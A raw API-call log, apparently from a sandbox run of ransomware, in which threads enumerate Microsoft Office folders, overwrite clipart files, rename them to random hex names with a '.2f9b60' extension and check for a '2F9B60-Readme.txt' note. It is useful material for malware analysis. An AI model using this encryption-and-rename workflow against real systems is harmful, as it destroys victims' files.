RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x2fac7a17 [0100.405] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x6ec25397 [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x358e692f [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x2d844736 [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x719106d1 [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x5ae0fa0 [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x1fec5b1e [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0xf57c34b [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x67cfb561 [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x1b16102 [0100.406] RtlRandomEx (in: Seed=0x2d6bf870 | out: Seed=0x2d6bf870) returned 0x39d84650 [0100.871] ReadFile (in: hFile=0xef8, lpBuffer=0x41fd00b0, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x2d6bf870, lpOverlapped=0x0 | out: lpBuffer=0x41fd00b0*, lpNumberOfBytesRead=0x2d6bf870*=0x25ee, lpOverlapped=0x0) returned 1 [0101.488] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.489] WriteFile (in: hFile=0xef8, lpBuffer=0x41fd3cc0*, nNumberOfBytesToWrite=0x25ee, lpNumberOfBytesWritten=0x2d6bf874, lpOverlapped=0x0 | out: lpBuffer=0x41fd3cc0*, lpNumberOfBytesWritten=0x2d6bf874*=0x25ee, lpOverlapped=0x0) returned 1 [0101.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261850 [0101.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0101.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261820) returned 1 [0101.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd3cc0) returned 1 [0101.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd00b0) returned 1 [0101.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0101.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0101.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261820 [0101.845] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.845] WriteFile (in: hFile=0xef8, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d6bf990, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x2d6bf990*=0x10a, lpOverlapped=0x0) returned 1 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263560 [0102.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263560) returned 1 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263560 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0102.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263530) returned 1 [0102.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.282] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="0c") returned 2 [0102.282] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="05") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="9f") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="a2") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="3f") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="1d") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="c8") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="6c") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="fa") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="7f") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="9d") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="c4") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="14") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="9b") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="69") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="ef") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="04") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="ad") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="6f") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="9d") returned 2 [0102.283] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="bc") returned 2 [0102.283] RtlInitAnsiString (in: DestinationString=0x2d6bfa08, SourceString="0c059fa23f1da4c86cfa7f9dc4e3bb149b69ef04ad6f9dbc" | out: DestinationString="0c059fa23f1da4c86cfa7f9dc4e3bb149b69ef04ad6f9dbc") [0102.283] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d6bf9d8, SourceString="0c059fa23f1da4c86cfa7f9dc4e3bb149b69ef04ad6f9dbc", AllocateDestinationString=1 | out: DestinationString="0c059fa23f1da4c86cfa7f9dc4e3bb149b69ef04ad6f9dbc") returned 0x0 [0102.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0102.284] wcscat (in: _Dest=0x4205cb50, _Source="0c059fa23f1d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c059fa23f1d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c059fa23f1d" [0102.284] wcscat (in: _Dest=0x4205cb50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c059fa23f1d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c059fa23f1d.2f9b60" [0102.284] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c059fa23f1d.2f9b60", NtPathName=0x2d6bf9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c059fa23f1d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202789b0 [0109.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202789b0) returned 1 [0109.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506c70) returned 1 [0109.466] NtQueryInformationFile (in: FileHandle=0xef8, IoStatusBlock=0x2d6bfa18, FileInformation=0x2d6bfa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d6bfa18, FileInformation=0x2d6bfa28) returned 0x0 [0109.466] NtSetInformationFile (FileHandle=0xef8, IoStatusBlock=0x2d6bfa18, FileInformation=0x2d6bfa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 [0109.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0109.481] FlushFileBuffers (hFile=0xef8) returned 1 [0109.488] CloseHandle (hObject=0xef8) returned 1 [0109.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cb50 [0109.489] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.489] wcscat (in: _Dest=0x4205cb50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 [0109.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d260) returned 1 Thread: id = 737 os_tid = 0x1268 [0096.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0108.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF", dwFileAttributes=0x20) returned 1 [0108.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x150c [0108.909] GetFileSizeEx (in: hFile=0x150c, lpFileSize=0x2d63f960 | out: lpFileSize=0x2d63f960*=8772) returned 1 [0108.918] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x2240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.918] ReadFile (in: hFile=0x150c, lpBuffer=0x2d63f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d63f928, lpOverlapped=0x0 | out: lpBuffer=0x2d63f8e0*, lpNumberOfBytesRead=0x2d63f928*=0x4, lpOverlapped=0x0) returned 1 [0108.922] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0108.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0108.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a660 [0108.922] NtQuerySystemTime (in: CurrentTime=0x2d63f820 | out: CurrentTime=0x2d63f820*=132462177144178000) returned 0x0 [0108.922] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x1fc39ff9 [0108.922] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x23ae6b17 [0108.922] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x44a6d3da [0108.922] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x25314930 [0108.922] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x6266c090 [0108.922] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x39e74805 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x1377834b [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x3a6974b4 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x3a39234d [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x6887516f [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x67329abe [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x6d1c52a0 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x4d5b48b3 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x41770a55 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x422997e4 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x3c736a25 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0xb3d62a3 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x14f5774 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x3d46b1e [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x286d6cee [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x212eb6e4 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x558affd [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x6d77d2e6 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x5f6b51dc [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x6f10616 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x51a85b1a [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x465087d3 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x7b3c28e5 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x542cc77 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x386a1cda [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x756df533 [0108.923] RtlRandomEx (in: Seed=0x2d63f810 | out: Seed=0x2d63f810) returned 0x6bb750ba [0108.931] ReadFile (in: hFile=0x150c, lpBuffer=0x41e75950, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x2d63f810, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x2d63f810*=0x2244, lpOverlapped=0x0) returned 1 [0108.936] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.936] WriteFile (in: hFile=0x150c, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x2244, lpNumberOfBytesWritten=0x2d63f814, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2d63f814*=0x2244, lpOverlapped=0x0) returned 1 [0108.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0108.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a660 [0108.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a660) returned 1 [0108.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0108.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a660 [0108.939] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.939] WriteFile (in: hFile=0x150c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d63f930, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2d63f930*=0x10a, lpOverlapped=0x0) returned 1 [0108.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0108.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0108.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0108.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0108.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0108.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab40) returned 1 [0108.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0108.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.942] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c2") returned 2 [0108.942] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="c0") returned 2 [0108.942] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="9d") returned 2 [0108.942] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="4a") returned 2 [0108.942] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="02") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="a0") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="2a") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="49") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="12") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="10") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="01") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="c9") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="5f") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="2f") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="a9") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="d3") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="01") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="f6") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b4") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="23") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="ef") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="82") returned 2 [0108.943] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="36") returned 2 [0108.943] RtlInitAnsiString (in: DestinationString=0x2d63f9a8, SourceString="c2c09d4a02a02a49121001c95f2fa9d301f61ab423ef8236" | out: DestinationString="c2c09d4a02a02a49121001c95f2fa9d301f61ab423ef8236") [0108.943] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d63f978, SourceString="c2c09d4a02a02a49121001c95f2fa9d301f61ab423ef8236", AllocateDestinationString=1 | out: DestinationString="c2c09d4a02a02a49121001c95f2fa9d301f61ab423ef8236") returned 0x0 [0108.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced92b0 [0108.943] wcscat (in: _Dest=0x20501350, _Source="c2c09d4a02a0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0" [0108.943] wcscat (in: _Dest=0x20501350, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60" [0108.944] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60", NtPathName=0x2d63f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060ef0 [0108.944] NtSetInformationFile (FileHandle=0x150c, IoStatusBlock=0x2d63f9f0, FileInformation=0x42060ef0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060ef0) returned 1 [0110.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0110.120] NtQueryInformationFile (in: FileHandle=0x150c, IoStatusBlock=0x2d63f9b8, FileInformation=0x2d63f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d63f9b8, FileInformation=0x2d63f9c8) returned 0x0 [0110.120] NtSetInformationFile (FileHandle=0x150c, IoStatusBlock=0x2d63f9b8, FileInformation=0x2d63f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501350) returned 1 [0110.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0110.122] FlushFileBuffers (hFile=0x150c) returned 1 [0110.132] CloseHandle (hObject=0x150c) returned 1 [0110.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501210 [0110.133] wcscpy (in: _Dest=0x20501210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.133] wcscat (in: _Dest=0x20501210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501210) returned 1 [0110.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d2f0) returned 1 Thread: id = 738 os_tid = 0x126c [0098.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8663c0 [0098.454] wcscpy (in: _Dest=0x1b8663c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0098.454] wcscat (in: _Dest=0x1b8663c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0098.454] wcscat (in: _Dest=0x1b8663c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*" [0098.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57dc0 [0098.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d90 [0099.654] wcscmp (_String1=".", _String2=".") returned 0 [0099.654] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.654] wcscmp (_String1="..", _String2=".") returned 1 [0099.654] wcscmp (_String1="..", _String2="..") returned 0 [0099.654] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, 